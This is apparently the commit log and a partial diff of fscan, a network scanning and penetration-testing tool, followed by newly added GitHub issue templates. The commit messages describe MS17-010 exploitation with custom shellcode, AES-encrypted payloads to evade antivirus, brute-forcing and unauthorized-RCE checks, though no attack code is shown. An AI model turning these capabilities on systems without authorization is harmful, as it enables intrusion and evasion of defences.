2022-12-14 09:58:09 +08:00
影舞者 79d44e00b3 Merge pull request #254 from ruishawn/dev5
Doc: add English Readme
2022-12-14 09:56:39 +08:00
xiaobo ecc362d660 feat: add English Readme 2022-12-13 20:10:34 +08:00
xiaobo ccdaef3486 fix: 精简打印日志模块冗余代码 2022-12-13 17:13:31 +08:00
影舞者 abd2ba0947 update readme 2022-12-05 10:30:19 +08:00
影舞者 6c6f522bc9 修改文件保存路径设置 2022-11-30 10:49:02 +08:00
影舞者 27c7e3977e 修改文件保存路径设置 2022-11-28 13:23:24 +08:00
影舞者 f8b44e37ea update 2022-11-21 15:04:35 +08:00
影舞者 1d2fa6c470 Use aes encryption to store payloads to avoid AV detection 2022-11-21 11:33:02 +08:00
影舞者 384bb326c0 Use aes encryption to store payloads to avoid AV detection 2022-11-21 10:38:40 +08:00
影舞者 4c254b019a Merge pull request #237 from NKingpp/main
Use aes encryption to store payloads to avoid AV detection
2022-11-21 10:37:11 +08:00
影舞者 6e9b6cf2f6 Update ms17010.go 2022-11-21 10:36:11 +08:00
影舞者 1166e24092 Update ms17010-exp.go 2022-11-21 10:35:00 +08:00
影舞者 a9d05604f5 Merge remote-tracking branch 'origin/main' 2022-11-21 09:44:58 +08:00
影舞者 41f8d3abad 加入hash碰撞、wmiiexec无回显命令执行 2022-11-21 09:44:44 +08:00
影舞者 b1f550daaf update 2022-11-19 17:22:56 +08:00
影舞者 ae86f08432 Merge remote-tracking branch 'origin/main'
# Conflicts:
#	Plugins/webtitle.go
#	WebScan/WebScan.go
#	WebScan/pocs/Hotel-Internet-Manage-RCE.yml
2022-11-19 17:05:25 +08:00
影舞者 3e8f23466d 加入hash碰撞、wmiiexec无回显命令执行 2022-11-19 17:04:13 +08:00
影舞者 9d4d67e523 Merge pull request #240 from ruishawn/main
fix: 优化扫描输出,扫描结果结尾换行
2022-11-02 17:41:06 +08:00
xiaobo fc416545a3 fix: 优化扫描输出,扫描结果结尾换行 2022-11-02 17:29:12 +08:00
kingpp 769fc59fd1 Use aes encryption to store payloads to avoid AV detection 2022-10-22 10:55:44 +08:00
影舞者 38e48ba420 Merge pull request #225 from evilAdan0s/main
去除弱特征:过时UA头
2022-09-02 11:38:41 +08:00
影舞者 076e001217 Update tongda-meeting-unauthorized-access.yml 2022-09-02 11:37:51 +08:00
影舞者 f981cf22e8 Update Hotel-Internet-Manage-RCE.yml 2022-09-02 11:37:36 +08:00
evilAdan0s 2e46d1adb6 '替换过时的UA头' 2022-09-02 11:26:06 +08:00
影舞者 4908720acb socks代理时,自动-np 2022-08-16 15:10:09 +08:00
影舞者 98569648bb 增加-dns参数启用dnslog poc 2022-08-16 11:18:09 +08:00
影舞者 9b0f12c31a update go.mod 2022-08-01 14:19:55 +08:00
影舞者 e705b33830 update 2022-07-15 15:21:52 +08:00
影舞者 3f8fd82674 默认跳过dnslog的poc 2022-07-14 16:03:11 +08:00
影舞者 3ba0a2abd3 -hf 支持host:port和host/xx:port格式 2022-07-14 12:19:16 +08:00
影舞者 6f9e49a572 -hf 支持host:port和host/xx:port格式 2022-07-14 12:04:47 +08:00
影舞者 c717094158 update 2022-07-14 11:14:20 +08:00
影舞者 023fa19a48 rule.Search 正则匹配范围从body改成header+body 2022-07-11 16:50:32 +08:00
影舞者 ed96a8dd89 -nobr不再包含-nopoc.优化webtitle 输出格式 2022-07-11 14:38:47 +08:00
影舞者 45008bcbfc update 2022-07-07 15:06:54 +08:00
影舞者 740ce8552a update 2022-07-07 15:04:59 +08:00
影舞者 cd423c88d1 update reademe.md 2022-07-06 21:50:48 +08:00
影舞者 fe937ec056 update reademe.md 2022-07-06 21:48:49 +08:00
影舞者 30df6b651f 加入手工gc回收,尝试节省无用内存。
-url 支持逗号隔开。
修复一个poc模块bug。
2022-07-06 21:42:00 +08:00
影舞者 6e5642c508 update README.md 2022-07-05 12:59:23 +08:00
影舞者 2a6491808d update README.md 2022-07-05 12:50:28 +08:00
影舞者 0146a941cf update README.md 2022-07-05 12:49:04 +08:00
影舞者 67f30bf4e3 Merge pull request #197 from u21h2/main
使用毫秒作为随机数种子,避免生成的ceye子域名相同,导致反连平台误报
2022-07-03 23:53:47 +08:00
影舞者 f2239b6c9f 减少pocinfo结构体大小 2022-07-03 23:48:06 +08:00
影舞者 b9b5eb9ce4 减少info结构体大小 2022-07-03 23:41:39 +08:00
U21H2 4b596180a3 Update check.go
使用毫秒作为随机数种子,避免生成的ceye子域名相同
2022-07-03 23:07:25 +08:00
影舞者 8e1db5995e 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 2022-07-02 17:25:15 +08:00
影舞者 b1d85833a7 update 2022-06-26 19:54:38 +08:00
影舞者 fdffb369c9 update 2022-06-13 10:27:23 +08:00
影舞者 a2573e10bb Merge remote-tracking branch 'origin/main' 2022-05-26 11:28:35 +08:00
影舞者 198abff115 update 2022-05-26 11:23:19 +08:00
影舞者 cf9389e879 Merge pull request #174 from jindaxia/main
poc: add f5 big-ip cve-2022-1388 poc
2022-05-19 17:43:17 +08:00
jindaxia 85e636fcea fix: 修复2022-188的poc
header里面Connection属性keep-alive后面的逗号","
使得后面的x auth token字段解析出现错误, 从而绕过验证
2022-05-19 17:34:57 +08:00
jindaxia 2cef5c66d6 poc: add f5 big-ip cve-2022-1388 poc 2022-05-19 11:02:50 +08:00
影舞者 11fb239c61 update 2022-05-12 17:56:32 +08:00
影舞者 4915539fb3 fix bug 2022-05-12 11:56:01 +08:00
影舞者 55825f3b7c Merge pull request #170 from ccreater222/main
update proxy timeout
2022-05-09 14:52:55 +08:00
ccreater c67d09371f Merge branch 'main' of github.com:ccreater222/fscan 2022-05-09 13:27:25 +08:00
ccreater 9f27655182 beautify 2022-05-09 13:26:42 +08:00
影舞者 0b8c0ccc96 Update webtitle.go 2022-05-09 12:27:05 +08:00
影舞者 5bb7502ba3 Merge pull request #169 from ccreater222/main
添加了socks5支持
2022-05-09 12:11:09 +08:00
影舞者 ab60c985a6 Update client.go 2022-05-09 12:08:29 +08:00
ccreater 5c112e0ca8 fix bug 2022-05-08 02:19:41 +08:00
ccreater 6f15f835f0 handle error 2022-05-08 00:16:58 +08:00
ccreater d774023da7 add socks5 support 2022-05-07 23:46:22 +08:00
影舞者 df527adda9 -h 支持域名 2022-04-28 17:08:52 +08:00
影舞者 2d496cafc9 -h 支持域名 2022-04-28 17:02:48 +08:00
影舞者 584771114d add lock 2022-04-27 11:49:16 +08:00
影舞者 5dcb789e33 update image 2022-04-27 11:49:16 +08:00
影舞者 bb544cfbf3 update README.md 2022-04-21 09:56:07 +08:00
影舞者 c4950e2a93 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 2022-04-20 17:54:45 +08:00
影舞者 4c51ae1f2a poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 2022-04-20 17:45:27 +08:00
影舞者 d1ff89676d 取消webscan模块60s超时,减少漏报 2022-03-11 16:13:31 +08:00
影舞者 9527fcf0c7 update 2022-02-28 10:35:50 +08:00
影舞者 a01599ee7c 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito 2022-02-25 16:49:17 +08:00
影舞者 c64c64477b 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito 2022-02-25 15:29:45 +08:00
影舞者 2ebda8baa9 update webtitle 2022-02-17 14:37:06 +08:00
影舞者 ed99ee0fad add向日葵指纹 2022-02-16 16:48:02 +08:00
影舞者 0b8e1ddaf9 update 2022-02-11 09:30:50 +08:00
影舞者 ddf824b985 update 2022-02-09 10:09:41 +08:00
影舞者 8acb02dc30 update go.mod 2022-01-15 14:07:39 +08:00
影舞者 c594f9f350 update go.sum 2022-01-14 16:52:59 +08:00
影舞者 e24168e895 update go.mod 2022-01-13 13:38:53 +08:00
影舞者 3b23c93c35 新增oracle密码爆破 2022-01-11 10:30:00 +08:00
影舞者 c59a5c3553 新增oracle密码爆破 2022-01-11 10:26:06 +08:00
影舞者 6db53c8cea update 2022-01-10 23:15:40 +08:00
影舞者 ebf990eca0 update nobr 2022-01-10 16:48:28 +08:00
shadow1ng 9b6596315e update 2022-01-08 14:46:26 +08:00
shadow1ng bdeaae9dcf update webscan timeout 2022-01-08 13:31:52 +08:00
影舞者 a56144d84a update http 2022-01-07 17:58:34 +08:00
影舞者 49a3b94c53 update http 2022-01-07 17:45:13 +08:00
影舞者 c3fc054912 update http 2022-01-07 16:59:05 +08:00
影舞者 205021afec update http 2022-01-07 16:54:23 +08:00
影舞者 dbb6f43fc1 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 14:56:48 +08:00
影舞者 0b22898547 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 13:46:09 +08:00
影舞者 6ce60284bc 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 13:38:38 +08:00
影舞者 60cd94d459 ip/8时,只探测部分机器 2022-01-07 11:06:06 +08:00
影舞者 b80ea1316f ip/8时,只探测部分机器 2022-01-07 10:51:36 +08:00
影舞者 d1bcc60bcb updata go.sum 2021-12-08 16:45:51 +08:00
影舞者 17544b375b 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:28:56 +08:00
影舞者 edb6920622 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:20:49 +08:00
影舞者 e1a4bfabfc 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:06:50 +08:00
影舞者 f71b4ab68f Merge pull request #121 from Dawnnnnnn/feature/add-upx-compress
feat(*): add `upx --best` for most elf
2021-12-07 14:50:47 +08:00
dawnnnnnn bd0bcb4b66 feat(*): add upx --best for most elf 2021-12-06 17:42:25 +08:00
影舞者 b93df1ab20 update readme 2021-12-03 10:58:47 +08:00
影舞者 dc634f9184 update 2021-12-03 10:21:47 +08:00
影舞者 e875f4f930 fix bug 2021-12-03 09:30:03 +08:00
影舞者 6807508b69 update 2021-12-01 15:25:09 +08:00
影舞者 4a34745091 优化ip解析模块 2021-12-01 15:22:48 +08:00
影舞者 e49e6dd433 增加爆破关闭参数 -nobr 2021-11-25 10:16:39 +08:00
影舞者 dd00ec7bac 优化xray解析模块,支持groups、新增poc 2021-11-16 15:04:53 +08:00
影舞者 b06d7ac94c 优化xray解析模块,支持groups、新增poc 2021-11-16 14:42:35 +08:00
影舞者 858c28724b Merge pull request #110 from Dawnnnnnn/function/goreleaser
新增Github-Action打包及一个敏感端口(10250)
2021-11-08 16:32:20 +08:00
dawnnnnnn e56713fdf0 feat(*): add k8s port 10250 scan 2021-11-08 15:03:55 +08:00
dawnnnnnn c4446ee357 ci(*): add goreleaser ci
support

windows-amd64/386
linux-amd64/386/arm64/mips64
darwin-amd64/arm64
etc.
2021-11-08 15:00:19 +08:00
影舞者 10d4b19897 Update ms17010.go 2021-10-14 15:51:52 +08:00
影舞者 21180c3da8 Update config.go 2021-10-13 09:39:58 +08:00
影舞者 30d1e6d9ca Update scanner.go 2021-10-13 09:36:10 +08:00
影舞者 e9292dc7ad update 2021-10-13 09:29:24 +08:00
影舞者 70f1c6bd71 Rename ms17017.go to ms17010.go 2021-10-11 18:09:32 +08:00
影舞者 5f981089a1 -hf ip.txt,遇到解析失败后进行跳过,代替原有的退出 2021-10-11 17:58:26 +08:00
影舞者 dc267a5335 添加功能,跳过某些ip扫描,-hn 192.168.1.1/24 2021-09-14 12:16:01 +08:00
影舞者 37f53e3f16 update 2021-09-13 17:19:36 +08:00
影舞者 734f8520fc update 2021-09-13 15:07:21 +08:00
影舞者 53df72db02 add zabbix-default-password.yml 2021-09-13 10:33:14 +08:00
影舞者 842ee37594 add License.txt 2021-09-12 14:38:28 +08:00
影舞者 b4e33c5127 update ParseUser() 2021-09-11 16:43:38 +08:00
影舞者 0733c10a05 加入https判断(tls握手包) 2021-09-10 22:43:50 +08:00
影舞者 297aba6c4f 更新指纹、优化内存占用 2021-09-10 21:07:50 +08:00
影舞者 d5665f03d6 更新指纹、优化内存占用 2021-09-10 20:32:51 +08:00
影舞者 2e452a9695 Merge pull request #94 from NAXG/main
修改拼写
2021-09-08 15:17:50 +08:00
影舞者 07633cb24d Merge pull request #92 from Richard-Tang/main
修改拼写
2021-09-08 15:09:58 +08:00
刘德华 5104cb9980 update ParseIP.go 2021-09-05 20:53:08 +08:00
RichardTang 24d8cc775c 修改拼写错误
SprintBoot拼写错误,修正为SpringBoot。
2021-09-01 22:53:10 +08:00
影舞者 922da8f168 Update ruijie-rce-cnvd-2021-09650.yml 2021-08-31 11:17:46 +08:00
影舞者 65df3de81d 添加免责声明 2021-08-30 15:18:05 +08:00
影舞者 71ff6e9a0c Update README.md 2021-08-06 13:34:55 +08:00
影舞者 dc949e25b1 Merge pull request #79 from lanyi1998/main
修复两个线程阻塞的问题
2021-07-20 11:31:46 +08:00
影舞者 6a4bbe3781 Update mongodb.go 2021-07-20 11:30:49 +08:00
影舞者 c322700c6d Update redis.go 2021-07-20 11:29:43 +08:00
影舞者 f64b185e6d Update mongodb.go 2021-07-20 11:25:25 +08:00
lanyi 71024954e2 fix bug 2021-07-20 10:20:41 +08:00
影舞者 1499c7253a Merge pull request #73 from IanSmith123/patch-1
update
2021-07-07 09:54:11 +08:00
shadow1ng d38e38e17a 更新指纹,修改poc的bug 2021-06-30 16:26:17 +08:00
Les1ie ddb5a9f228 fix: typo in flag usage string 2021-06-30 11:07:24 +08:00
影舞者 ceb585d018 Merge pull request #70 from canc3s/main
add weblogic-console-weak
2021-06-21 17:30:29 +08:00
canc3s 3d3ecac605 add weblogic-console-weak
add weblogic-console-weak
2021-06-21 17:22:27 +08:00
shadow1ng 1437ac60ff 增加2375端口,扫描docker未授权rce漏洞 2021-06-21 10:17:29 +08:00
shadow1ng c8ec4eab79 update README.md 2021-06-18 12:31:27 +08:00
shadow1ng 80fe8548c1 update icmp 2021-06-18 11:45:47 +08:00
shadow1ng ad1c53e3f4 更新poc 2021-06-18 10:30:01 +08:00
shadow1ng a8835a9fe4 Merge remote-tracking branch 'origin/main' into main 2021-06-18 09:57:27 +08:00
影舞者 db8acb2828 Merge pull request #67 from canc3s/main
改善了poc机制和修复bug

还改善了一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
2021-06-18 09:46:54 +08:00
影舞者 288338bc9d Update go.sum 2021-06-18 09:45:13 +08:00
影舞者 0743e4cb68 Update check.go 2021-06-18 09:38:30 +08:00
影舞者 6cdf1e19dc Update go.mod 2021-06-18 09:37:23 +08:00
canc3s a427833e3f fix bug
改善了poc机制和修复bug
2021-06-17 20:32:53 +08:00
影舞者 d974523d88 Update ssh.go 2021-06-09 11:32:59 +08:00
shadow1ng c90c9272f0 update 2021-06-09 11:16:23 +08:00
影舞者 a9e78b6de3 Merge pull request #63 from 7ten7/dev
添加一个海康威视摄像头指纹
2021-06-08 11:32:54 +08:00
7TEN7 ca1e0c791c 添加一个海康威视摄像头指纹 2021-06-08 01:07:39 +08:00
shadow1ng 90ef895e0f ssh模块加入私钥连接 2021-05-31 10:03:01 +08:00
shadow1ng 162d1dd3a3 优化icmp模块 2021-05-29 20:16:01 +08:00
shadow1ng f3b0c4a6d2 update 2021-05-29 15:58:16 +08:00
shadow1ng 936c1f5395 update 2021-05-29 15:55:05 +08:00
shadow1ng 9d385eb26a 加入fcgi协议未授权命令执行扫描,优化poc模块 2021-05-29 12:13:10 +08:00
shadow1ng 61e814119d 修复ssh跳过问题 2021-05-27 14:19:21 +08:00
shadow1ng f5c9667f91 webtitle update 2021-05-20 09:34:27 +08:00
shadow1ng 4f3ff608ab webtitle模块加入chardet 2021-05-18 16:23:50 +08:00
shadow1ng 0dd41e2917 更新指纹 2021-05-16 10:47:29 +08:00
shadow1ng 7031d78439 update redeme.md 2021-05-15 11:54:17 +08:00
shadow1ng 4431b42b35 添加打印机指纹 2021-05-14 16:02:22 +08:00
shadow1ng b6133c4a55 增加-silent 静默扫描模式 2021-05-14 11:47:30 +08:00
shadow1ng ef6a196de7 增加silent 静默扫描模式 2021-05-14 10:43:26 +08:00
shadow1ng cd53258f0d 修复netbios模块数组越界 2021-05-14 10:24:04 +08:00
shadow1ng 93245a16d0 添加一个CheckErrs字典 2021-05-13 18:06:14 +08:00
shadow1ng 79aa24fc8f webtitle 增加gzip解码 2021-05-12 10:57:12 +08:00
shadow1ng 9aba1c88a3 删除elasticsearchScan,用yml poc代替 2021-05-06 11:44:38 +08:00
shadow1ng 400f4373c9 更新mod库、编码、poc等 2021-05-06 11:39:58 +08:00
shadow1ng 402add56c7 更新mod库、编码、poc等 2021-05-06 11:37:29 +08:00
shadow1ng 7294051b44 修改webtitle模块,加入gbk解码,减少乱码 2021-04-22 23:41:56 +08:00
shadow1ng f1163fc3d7 加入 404星链 2021-04-22 12:06:03 +08:00
shadow1ng 2466fc3ea7 加入netbios探测、域控识别 2021-04-21 16:12:38 +08:00
shadow1ng e2eba97114 加入netbios探测、域控识别 2021-04-21 16:02:52 +08:00
shadow1ng fcbebab2ca 加入netbios探测、域控识别 2021-04-21 15:49:28 +08:00
shadow1ng ab31738807 加入netbios探测、域控识别 2021-04-21 15:34:59 +08:00
shadow1ng 6bca014fda 加入netbios探测、域控识别 2021-04-21 15:34:29 +08:00
shadow1ng 27324dc4a5 加入netbios探测、域控识别 2021-04-21 00:13:04 +08:00
shadow1ng 323d786c66 update 2021-04-18 14:03:07 +08:00
shadow1ng 78fb5339e6 更新字典 2021-04-18 12:02:14 +08:00
shadow1ng 0d4299c23d 更新poc 2021-04-18 10:48:54 +08:00
shadow1ng 064617d93c 更新poc 2021-04-18 10:43:00 +08:00
shadow1ng 5537eb8b80 更新 CheckErrs 2021-04-18 10:38:46 +08:00
shadow1ng 067322203d 更新 CheckErrs 2021-04-01 10:39:01 +08:00
shadow1ng 7f2f7df67e 修改-debug参数,自定义打印当前进度时间,默认100秒没进制就会输出。-debug 0时,有err时就会输出 2021-03-31 17:58:40 +08:00
shadow1ng 6fae8bf277 修改-debug参数,自定义打印当前进度时间,默认100秒没进制就会输出。-debug 0时,有err时就会输出 2021-03-31 17:21:32 +08:00
shadow1ng f4b6ecc363 添加exchange_ssrf_poc 2021-03-31 17:03:33 +08:00
shadow1ng 559d6c7c4b 修改线程处理机制 2021-03-30 22:33:16 +08:00
shadow1ng 7535fdace7 修改线程处理机制 2021-03-30 22:30:16 +08:00
shadow1ng d6e8d37ce8 修改线程处理机制 2021-03-30 18:16:18 +08:00
shadow1ng e43a7f5610 修改线程处理机制 2021-03-30 18:12:54 +08:00
shadow1ng 05d746bec4 update readme 2021-03-25 23:15:10 +08:00
shadow1ng f7989d84bf update 2021-03-25 15:39:48 +08:00
shadow1ng d503f55693 添加2个指纹 2021-03-25 15:36:21 +08:00
shadow1ng e866d68f10 修改redis recover模块 2021-03-18 16:25:31 +08:00
shadow1ng bb3222451c 修复一个错误拼写 2021-03-10 17:41:02 +08:00
shadow1ng 764e7723e1 修复一个错误拼写 2021-03-10 17:34:02 +08:00
shadow1ng 66cd740580 修复一个错误拼写 2021-03-10 14:42:30 +08:00
shadow1ng 41ec4489da 优化一下-m显示 2021-03-09 17:21:27 +08:00
shadow1ng 6ed5967705 添加redis还原dbname、dir 2021-03-09 17:00:06 +08:00
shadow1ng d311d8cb79 调整portscan结构 2021-03-08 10:16:21 +08:00
shadow1ng 3ca56ff222 调整portscan结构 2021-03-08 10:00:56 +08:00
影舞者 5b330bb12d Merge pull request #32 from 7ten7/dev
修复 -p 参数在某些情况下以范围指定端口时(如 -p 8000-10000)解析错误问题
2021-03-06 01:35:56 +08:00
7TEN7 089502eb52 修复 -p 参数在某些情况下以范围指定端口时(如 -p 8000-10000)解析错误问题 2021-03-06 01:13:46 +08:00
shadow1ng 34706e6bca 修复一个web超时的bug 2021-03-05 11:44:21 +08:00
shadow1ng ba85e2178e 支持-u url或者-uf url.txt,进行url批量扫描 2021-03-04 14:48:51 +08:00
shadow1ng 5e7def5085 支持-u url或者-uf url.txt,进行url批量扫描 2021-03-04 14:42:10 +08:00
影舞者 423c0bebea Merge pull request #30 from madneal/main
fix for a judgement
2021-03-03 09:36:49 +08:00
Neal Caffery f3a3dd2f8c fix for a judgement 2021-03-03 09:24:17 +08:00
madneal ae2a4621d4 no need for this judgement 2021-03-02 22:56:20 +08:00
影舞者 d79194389d Merge pull request #28 from MaxSecurity/main
因为添加embed模块没更新go.mod导致无法正常编译报错
2021-03-02 10:24:49 +08:00
Doctor_Who丶Max 86b91c1c2e Update go.mod 2021-03-02 10:21:32 +08:00
影舞者 5c000b2ffc Merge pull request #27 from madneal/main
fix typos
2021-03-01 22:06:29 +08:00
madneal 2ed5948d08 fix typos and replace Println with Printf 2021-03-01 22:02:27 +08:00
madneal eb4cece0f9 replace Println with Printf 2021-03-01 21:59:47 +08:00
madneal 021592c237 fix typos 2021-03-01 21:55:19 +08:00
shadow1ng 8664cf3833 修改、添加poc 2021-02-28 15:20:18 +08:00
shadow1ng 41deddb132 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml 2021-02-25 19:53:58 +08:00
shadow1ng 0df4e314d1 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml 2021-02-25 17:54:56 +08:00
shadow1ng 79ea046ed2 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml 2021-02-25 17:53:35 +08:00
shadow1ng db5023c4c4 减少http client初始化次数 2021-02-21 15:06:25 +08:00
shadow1ng 51b8b2c0e2 减少http client初始化次数 2021-02-21 14:54:40 +08:00
shadow1ng 583e51d479 减少http client初始化次数 2021-02-21 14:52:31 +08:00
903 changed files with 126045 additions and 19298 deletions
+2
View File
@@ -0,0 +1,2 @@
# 统一换行符为 LF
* text=auto eol=lf
+124
View File
@@ -0,0 +1,124 @@
name: 🐛 Bug 报告
description: 报告扫描异常、崩溃或错误行为
title: "[Bug] 简要描述问题"
labels: ["bug"]
body:
- type: markdown
attributes:
value: |
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
- type: dropdown
id: module
attributes:
label: 问题模块
description: 问题出现在哪个功能模块?
options:
- 端口扫描 (Port Scan)
- 主机存活检测 (Host Discovery)
- 服务识别 (Service Detection)
- 弱口令爆破 (Brute Force)
- POC/漏洞扫描 (POC Scan)
- Web指纹识别 (Web Fingerprint)
- 输出/日志 (Output/Logging)
- 命令行参数 (CLI Arguments)
- 其他 (Other)
validations:
required: true
- type: dropdown
id: severity
attributes:
label: 严重程度
options:
- 崩溃/无法使用 (Crash)
- 功能异常 (Malfunction)
- 结果不准确 (Inaccurate)
- 性能问题 (Performance)
- 其他 (Other)
validations:
required: true
- type: textarea
id: description
attributes:
label: 问题描述
description: 清晰描述遇到的问题
placeholder: |
发生了什么?
预期的行为是什么?
validations:
required: true
- type: textarea
id: reproduce
attributes:
label: 复现步骤
description: 提供可以复现问题的命令或步骤
placeholder: |
1. 执行命令: fscan -h xxx -p xxx
2. 观察到...
render: shell
validations:
required: true
- type: textarea
id: output
attributes:
label: 错误输出
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
render: shell
- type: dropdown
id: version
attributes:
label: fscan 版本
options:
- 2.1.0
- 2.0.1
- 2.0.0
- 1.8.4
- 其他/自编译
validations:
required: true
- type: dropdown
id: os
attributes:
label: 操作系统
options:
- Windows 11
- Windows 10
- Windows Server 2022
- Windows Server 2019
- Ubuntu 22.04
- Ubuntu 20.04
- CentOS 7
- CentOS 8/Stream
- Debian 11/12
- Kali Linux
- macOS 14 (Sonoma)
- macOS 13 (Ventura)
- 其他 Linux
- 其他
validations:
required: true
- type: dropdown
id: arch
attributes:
label: 系统架构
options:
- amd64 (x86_64)
- arm64 (aarch64)
- 386 (x86)
- arm
validations:
required: true
- type: textarea
id: additional
attributes:
label: 补充信息
description: 其他可能有助于排查问题的信息(如自编译请注明 Go 版本)
+11
View File
@@ -0,0 +1,11 @@
# Issue 模板配置
# 禁止空白 issue,强制用户选择模板
blank_issues_enabled: false
contact_links:
- name: 📖 使用文档
url: https://github.com/shadow1ng/fscan/blob/main/README.md
about: 提交 Issue 前请先查阅文档
- name: 💬 讨论区
url: https://github.com/shadow1ng/fscan/discussions
about: 一般性问题和讨论请使用 Discussions
+117
View File
@@ -0,0 +1,117 @@
name: 🎯 误报/漏报
description: 报告扫描结果不准确的问题
title: "[Accuracy] 服务名 - 误报/漏报描述"
labels: ["accuracy"]
body:
- type: markdown
attributes:
value: |
感谢您帮助提高 fscan 的准确性!误报和漏报都是需要优化的问题。
- type: dropdown
id: type
attributes:
label: 问题类型
options:
- 误报 (False Positive) - 报告了不存在的问题
- 漏报 (False Negative) - 未能检测到存在的问题
validations:
required: true
- type: dropdown
id: category
attributes:
label: 涉及功能
options:
- 主机存活检测
- 端口状态判断
- 服务识别
- 弱口令检测
- POC/漏洞检测
- Web指纹识别
- 其他
validations:
required: true
- type: textarea
id: fscan-output
attributes:
label: fscan 输出结果
description: 粘贴相关的扫描输出(请脱敏敏感信息如真实IP、密码等)
render: shell
validations:
required: true
- type: textarea
id: actual
attributes:
label: 实际情况
description: 描述目标的真实状态
placeholder: |
实际上这个端口是关闭的 / 服务版本是 xxx / 密码不是 xxx...
验证方式: 通过 nmap/手动连接/其他工具 确认...
validations:
required: true
- type: dropdown
id: target-os
attributes:
label: 目标操作系统
options:
- Windows Server 2022
- Windows Server 2019
- Windows Server 2016
- Windows 10/11
- Ubuntu
- CentOS/RHEL
- Debian
- 其他 Linux
- 网络设备
- 未知
validations:
required: true
- type: dropdown
id: network
attributes:
label: 网络环境
options:
- 直连
- 通过代理
- VPN
- 跨网段
validations:
required: true
- type: textarea
id: command
attributes:
label: 使用的命令
description: 执行的 fscan 命令
placeholder: "fscan -h x.x.x.x -p 1-65535 -pwdf pass.txt"
render: shell
validations:
required: true
- type: dropdown
id: version
attributes:
label: fscan 版本
options:
- 2.1.0
- 2.0.1
- 2.0.0
- 1.8.4
- 其他/自编译
validations:
required: true
- type: textarea
id: suggestion
attributes:
label: 改进建议
description: 如果您有改进的想法,请分享
placeholder: |
建议增加 xxx 判断条件...
或者调整 xxx 检测逻辑...
@@ -0,0 +1,74 @@
name: ✨ 功能请求
description: 提议新功能或改进现有功能
title: "[Feature] 一句话描述功能"
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的功能建议!请详细描述您的需求,这将帮助我们评估和实现。
- type: dropdown
id: category
attributes:
label: 功能类别
options:
- 新扫描能力 (New Scan Capability)
- 性能优化 (Performance)
- 用户体验 (UX/CLI)
- 输出格式 (Output Format)
- 配置选项 (Configuration)
- 集成/API (Integration/API)
- 其他 (Other)
validations:
required: true
- type: textarea
id: problem
attributes:
label: 解决什么问题?
description: 描述您遇到的痛点或使用场景
placeholder: |
在进行 xxx 操作时,我希望能够...
目前的问题是...
validations:
required: true
- type: textarea
id: solution
attributes:
label: 期望的解决方案
description: 描述您希望的功能或行为
placeholder: |
希望能够通过 -xxx 参数来...
或者增加一个新的模块来...
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: 替代方案
description: 您考虑过的其他解决方案或变通方法
placeholder: |
目前我通过 xxx 方式来解决,但是...
- type: dropdown
id: priority
attributes:
label: 优先级建议
description: 您认为这个功能的重要程度
options:
- 高 - 核心功能缺失
- 中 - 明显改善体验
- 低 - 锦上添花
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个功能并提交 PR
+88
View File
@@ -0,0 +1,88 @@
name: 🔌 新插件/协议支持
description: 请求支持新的服务、协议或漏洞检测
title: "[Plugin] 协议/服务名称"
labels: ["plugin", "enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
- type: dropdown
id: type
attributes:
label: 请求类型
options:
- 新服务/协议支持 (New Service)
- 新弱口令检测 (New Brute Force)
- 新漏洞 POC (New POC)
- 新指纹识别 (New Fingerprint)
validations:
required: true
- type: input
id: service
attributes:
label: 服务/协议名称
placeholder: "如: Kafka, ClickHouse, etcd, Consul"
validations:
required: true
- type: input
id: port
attributes:
label: 默认端口
placeholder: "如: 9092, 8123, 2379"
- type: textarea
id: description
attributes:
label: 服务描述
description: 简要介绍这个服务/协议
placeholder: |
这是一个用于 xxx 的服务...
在内网环境中常见于...
validations:
required: true
- type: textarea
id: detection
attributes:
label: 识别方法
description: 如何识别/检测这个服务(如有了解)
placeholder: |
Banner 特征: xxx
默认响应: xxx
认证方式: xxx
- type: textarea
id: reference
attributes:
label: 参考资料
description: 相关文档、其他工具实现、漏洞详情等
placeholder: |
- 官方文档: https://...
- 其他工具实现: https://...
- CVE编号: CVE-xxxx-xxxx
- type: dropdown
id: prevalence
attributes:
label: 使用普遍程度
description: 这个服务在目标环境中的常见程度
options:
- 非常常见 (企业环境标配)
- 较为常见 (经常遇到)
- 偶尔遇到
- 较少见但重要
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个插件并提交 PR
- label: 我可以提供测试环境
+103
View File
@@ -0,0 +1,103 @@
